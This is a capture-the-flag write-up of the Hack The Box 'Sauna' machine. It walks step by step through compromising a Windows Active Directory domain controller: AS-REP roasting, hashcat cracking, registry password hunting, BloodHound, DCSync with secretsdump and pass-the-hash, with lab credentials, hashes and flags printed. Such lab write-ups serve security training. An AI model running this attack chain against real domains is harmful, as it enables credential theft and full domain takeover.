Sauna - Hack The Box

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hackthebox
Author

0xPThree

Published

February 18, 2020

“Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.”

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  1. root@p3:/opt/htb/machines/sauna# nmapAutomatorDirb.sh 10.10.10.175 All PORT STATE SERVICE 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49670/tcp open msrpc Microsoft Windows RPC 49671/tcp open msrpc Microsoft Windows RPC 49682/tcp open msrpc Microsoft Windows RPC 54513/tcp open msrpc Microsoft Windows RPC

    PORT STATE SERVICE VERSION 53/udp open domain (generic dns response: SERVFAIL) | fingerprint-strings: | NBTStat: |_ CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 123/udp open ntp NTP v3 389/udp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)

    Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows Domain: EGOTISTICAL-BANK.LOCAL

    DIRB:

    • http://10.10.10.175/about.html (CODE:200|SIZE:30954)
    • http://10.10.10.175/About.html (CODE:200|SIZE:30954)
    • http://10.10.10.175/blog.html (CODE:200|SIZE:24695)
    • http://10.10.10.175/Blog.html (CODE:200|SIZE:24695)
    • http://10.10.10.175/contact.html (CODE:200|SIZE:15634)
    • http://10.10.10.175/Contact.html (CODE:200|SIZE:15634)
    • http://10.10.10.175/index.html (CODE:200|SIZE:32797)
    • http://10.10.10.175/Index.html (CODE:200|SIZE:32797)
    • http://10.10.10.175/single.html (CODE:200|SIZE:38059)

    NIKTO:

  2. We are unable to get anything from rpcclient and smbclient. Browsing the website gives us a few employee names. Create a list of possible username conventions - ex. firstname.lastname, f.lastname, flastname etc. Use Impacket tool GetNPUsers.py along with user-list to find a user hash.

    root@p3:/opt/impacket/examples# python GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -usersfile /opt/htb/machines/sauna/unconfirmed-users.txt -format hashcat -dc-ip 10.10.10.175 Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

    .. $krb5asrep\(23\)fsmith@EGOTISTICAL-BANK.LOCAL:8995861f6896cadd060d7fb65eb0df0b$040996aa8dcad37424ac7fa2109c57776427b378c118b9c48fdfd84421bc0b4def8503894b9787f0f8889e540d6b9a992ca949141c352f18da37c21fa39c0dedcb80baf31e2aa70764fea7a08fe425d2d400d0756dee343234d35cdedd7ade59449b289968d3debd739930c94ed6b9b75307e053603ef41f342a8a233e417d5db28e698175c13ea38b6b9a307441435491f3cd67daef951d07b776203f6a0117afea4a6b3163bf7449be2f2dee1a3b240ef59266ed8caccd7e7a79931b5e71f479b29ff10b0146eb185d34abb17d4225718a64f647b984abce67e555878c10bbd9299f3735d4c692c974a8aba79b59603f7dc30384c76071bed3479feb84bac5

    Crack the hash using hashcat root@p3:/opt/htb/machines/sauna# hashcat -m18200 -a0 hash-fsmith.txt /usr/share/wordlists/rockyou.txt -o cracked-fsmith.txt root@p3:/opt/htb/machines/sauna# cat cracked-fsmith.txt …….:Thestrokes23

Creds: fsmith:Thestrokes23

  1. Login with evil-winrm and grab user.txt root@p3:/opt/impacket/examples# evil-winrm -i 10.10.10.175 -u fsmith Evil-WinRM PS C:> whoami egotisticalbank Evil-WinRM PS C:> type user.txt 1b5520b98d97cf17f24122a55baf70cf

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  1. Enumerating the box as FSmith gives us the user ‘svc_loanmgr’. Trying to kerberoat using ‘Invoke-Kerberoast.ps1’ gives us another user - HSmith

    Evil-WinRM PS C:> Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat Warning: [Get-DomainSPNTicket] Error requesting ticket for SPN ‘SAUNA/HSmith.EGOTISTICALBANK.LOCAL:60111’ from user ‘CN=Hugo Smith,DC=EGOTISTICAL-BANK,DC=LOCAL’ : Exception calling “.ctor” with “1” argument(s): “The NetworkCredentials provided were unable to create a Kerberos credential, see inner exception for details.”

  2. This is where I hit a wall, I could not find the creds for svc_loanmgr. Windows Registry stores configuration information, and that includes autologon credentials. Querying the registry gives us the credentials for user svc_loanmgr.

    Evil-WinRM PS C:> reg query HKLM /f password /t REG_SZ /s HKEY_LOCAL_MACHINE{0fafd998-c8e8-42a1-86d7-7c10c664a415} (Default) REG_SZ Picture Password Enrollment UX

    ———— SNIP ———— HKEY_LOCAL_MACHINENT DefaultPassword REG_SZ Moneymakestheworldgoround!

    ———— SNIP ————

    End of search: 283 match(es) found.

    NOTE: svc_loanmgr:Moneymakestheworldgoround!

  3. Login as svc_loadmgr upload BloodHound/SharpHound and look at the path towards Domain Admin. root@p3:/opt/impacket/examples# evil-winrm -i 10.10.10.175 -u svc_loanmgr Evil-WinRM PS C:_loanmgr> upload ../opt/BloodHound/Ingestors/SharpHound.ps1 Info: Uploading ../opt/BloodHound/Ingestors/SharpHound.ps1 to C:_loanmgr.ps1 Data: 1226060 bytes of 1226060 bytes copied Info: Upload successful!

    Evil-WinRM PS C:_loanmgr> import-module C:_loanmgr.ps1 Evil-WinRM PS C:_loanmgr> Invoke-BloodHound -CollectionMethod All -Domain EGOTISTICAL-BANK.LOCAL -LDAPUser svc_loanmgr -LDAPPass Moneymakestheworldgoround! Evil-WinRM PS C:_loanmgr> download 20200217131222_BloodHound.zip Info: Downloading C:_loanmgr\20200217131222_BloodHound.zip to 20200217131222_BloodHound.zip Info: Download successful!

    Looking at the data we can see that svc_loanmgr has DCSync rights, this can be confirmed using aclpwn.

    root@p3:/opt/htb/machines/sauna# aclpwn -f svc_loanmgr@EGOTISTICAL-BANK.LOCAL -d EGOTISTICAL-BANK.LOCAL -s 10.10.10.175 Please supply the password or LM:NTLM hashes of the account you are escalating from: [+] Path found! Path: (SVC_LOANMGR@EGOTISTICAL-BANK.LOCAL)-[GetChangesAll]->(EGOTISTICAL-BANK.LOCAL) [-] DCSync -> continue [+] Finished running tasks

  4. Use impacket secretsdump to get the (admin) hashes os all users from the domain. root@p3:/opt/htb/machines/sauna# impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr@sauna.htb -just-dc Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

    Password: [*] Dumping Domain Credentials (domain:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c::: EGOTISTICAL-BANK.LOCAL:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd::: EGOTISTICAL-BANK.LOCAL:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd::: EGOTISTICAL-BANK.LOCAL_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c::: SAUNA\(:1000:aad3b435b51404eeaad3b435b51404ee:7a2965077fddedf348d938e4fa20ea1b::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:987e26bb845e57df4c7301753f6cb53fcf993e1af692d08fd07de74f041bf031 Administrator:aes128-cts-hmac-sha1-96:145e4d0e4a6600b7ec0ece74997651d0 Administrator:des-cbc-md5:19d5f15d689b1ce5 krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24 krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9 krbtgt:des-cbc-md5:c170d5dc3edfc1d9 EGOTISTICAL-BANK.LOCAL\HSmith:aes256-cts-hmac-sha1-96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324 EGOTISTICAL-BANK.LOCAL\HSmith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9 EGOTISTICAL-BANK.LOCAL\HSmith:des-cbc-md5:1c73b99168d3f8c7 EGOTISTICAL-BANK.LOCAL\FSmith:aes256-cts-hmac-sha1-96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2 EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c EGOTISTICAL-BANK.LOCAL\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2 SAUNA\):aes256-cts-hmac-sha1-96:a90968c91de5f77ac3b7d938bd760002373f71e14e1a027b2d93d1934d64754a SAUNA\(:aes128-cts-hmac-sha1-96:0bf0c486c1262ab6cf46b16dc3b1b198 SAUNA\):des-cbc-md5:b989ecc101ae4ca1 [*] Cleaning up…

  5. Pass the hash using wmiexec and grab root.txt root@p3:/opt/impacket/examples# python wmiexec.py -hashes :d9485863c1e9e05851aa40cbb4ab9dff administrator@sauna.htb Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

    [*] SMBv3.0 dialect used [!] Launching semi-interactive shell - Careful what you execute [!] Press help for extra shell commands

    C:>whoami egotisticalbank C:>type root.txt f3ee04965c68257382e31502cc5e881f

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Creds in Registry: https://attack.mitre.org/techniques/T1214/

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